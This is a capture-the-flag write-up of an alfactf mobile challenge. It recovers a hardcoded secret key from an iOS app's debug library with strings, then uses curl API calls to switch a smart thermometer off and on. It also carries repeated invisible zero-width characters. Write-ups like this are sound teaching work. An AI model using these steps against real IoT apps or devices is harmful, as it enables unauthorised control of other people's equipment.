← Back to Writeups
CUSTOMMediumMobile

Bad Weather

XESXOR9/2/20263 min read
#mobile#custom#medium#api-endpoint-enumeration-from-#hardcoded-secret-key-extractio#ipa-extraction-and-binary-anal#rest-api-exploitation#strings-analysis-on-mach-o-bin#linux

Bad Weather

Platform: alfactf | Category: Mobile | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2025-12-19 | Status: Solved Techniques: API endpoint enumeration from mobile app, Hardcoded secret key extraction, IPA extraction and binary analysis, REST API exploitation, Strings analysis on Mach-O binaries

Summary

Task: Smart home web app with IoT thermometer showing wrong weather data. Solution: Downloaded iOS IPA from manufacturer page, extracted hardcoded secret key from debug dylib using strings, then used the key to toggle the thermometer via REST API to get the flag.

Bad Weather - alfactf.ru

Description

С утра вы сверяетесь с погодой на термометре: солнечно, +27°, слабый ветер. Берёте полотенце — и вперёд на пляж. Но позагорать не выходит: вы замечаете, что пляж накрывает песчаная буря. Всё заволокло жёлтым туманом, в горле першит… Снова возвращаетесь домой и смотрите на термометр — по его мнению погода всё ещё идеальна.

Пора понять, почему он так нагло врёт, и исправить это надёжным способом — выключить его и снова включить.

URL: https://badweather-w23wcn8v.alfactf.ru/ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

1. Web Application Reconnaissance

The target URL contains a React application for smart home management. The application controls IoT devices:

  • Thermometer
  • Smart plug
  • IP cameras
  • Smart bulb

A manufacturer website for XINHUANTECH was found at /xinhuantech.

2. Discovering the iOS Application

A download link for the iOS application was found on the /xinhuantech.html page:

BadWeather.ipa (2.8MB)

3. IPA File Analysis

The IPA file is a ZIP archive containing an iOS application: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
unzip BadWeather.ipa -d ipa_extracted

Structure:

Payload/BadWeather.app/
├── BadWeather              # Main binary
├── BadWeather.debug.dylib  # Debug library (!)
├── Info.plist
├── Frameworks/
│   └── libswift_Concurrency.dylib
└── ...

Critical finding: A debug dylib is present in the production build!

4. Extracting Strings from the Binary

bash
strings ipa_extracted/Payload/BadWeather.app/BadWeather.debug.dylib | less

Discovered API endpoints:

/api/v1/auth/login
/api/v1/auth/register
/api/v1/user_devices
/api/v1/device_info?device_mac=
/api/v1/change_state

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key finding — a hardcoded secret key:

device_secret_key
KeychainService
XINHUAN<3suj1ngtop888!

Solution

Step 1: User Registration

bash
curl -X POST "https://badweather-w23wcn8v.alfactf.ru/api/v1/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"username":"hacker","password":"password123"}'

Step 2: Obtaining a JWT Token

bash
curl -X POST "https://badweather-w23wcn8v.alfactf.ru/api/v1/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"hacker","password":"password123"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"access_token":"eyJhbGciOiJIUzI1NiIs...","token_type":"bearer"}

Step 3: Retrieving Device Information

bash
TOKEN="eyJhbGciOiJIUzI1NiIs..."

curl "https://badweather-w23wcn8v.alfactf.ru/api/v1/user_devices" \
  -H "Authorization: Bearer $TOKEN"

Found the thermometer:

json
{
  "device_type": "thermometer",
  "device_mac": "00:1B:44:1F:85:19",
  "device_ip": "10.107.20.228",
  "device_port": 57052,
  "state": 1
}

Step 4: Turning Off the Thermometer (state=0)

bash
curl -X POST "https://badweather-w23wcn8v.alfactf.ru/api/v1/change_state" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "device_mac": "00:1B:44:1F:85:19",
    "device_ip": "10.107.20.228",
    "device_port": 57052,
    "secret_key": "XINHUAN<3suj1ngtop888!",
    "new_state": 0
  }'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Turning the Thermometer Back On (state=1)

bash
curl -X POST "https://badweather-w23wcn8v.alfactf.ru/api/v1/change_state" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "device_mac": "00:1B:44:1F:85:19",
    "device_ip": "10.107.20.228",
    "device_port": 57052,
    "secret_key": "XINHUAN<3suj1ngtop888!",
    "new_state": 1
  }'

The response contains the flag!

Vulnerability

The iOS application contains a hardcoded static secret key (XINHUAN<3suj1ngtop888!) used to authenticate device control commands. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Security issues:

  1. Debug dylib in production — the debug library should not be included in the release build
  2. Hardcoded credentials — the secret key is embedded in the binary instead of being stored securely
  3. Single key for all devices — compromising one key grants access to all devices
  4. No user binding — anyone with the key can control any device

Useful Commands

bash
# Extract IPA
unzip app.ipa -d extracted/

# Search for strings in Mach-O binary
strings extracted/Payload/App.app/App | grep -i key
strings extracted/Payload/App.app/App | grep -i secret
strings extracted/Payload/App.app/App | grep -i api
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Read Info.plist
plutil -p extracted/Payload/App.app/Info.plist

# Find all dylibs
find extracted/ -name "*.dylib"

Flag Irony

The flag alfa{REDACTED} sarcastically hints at the vulnerability: a static key is definitely NOT the best solution for IoT security! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍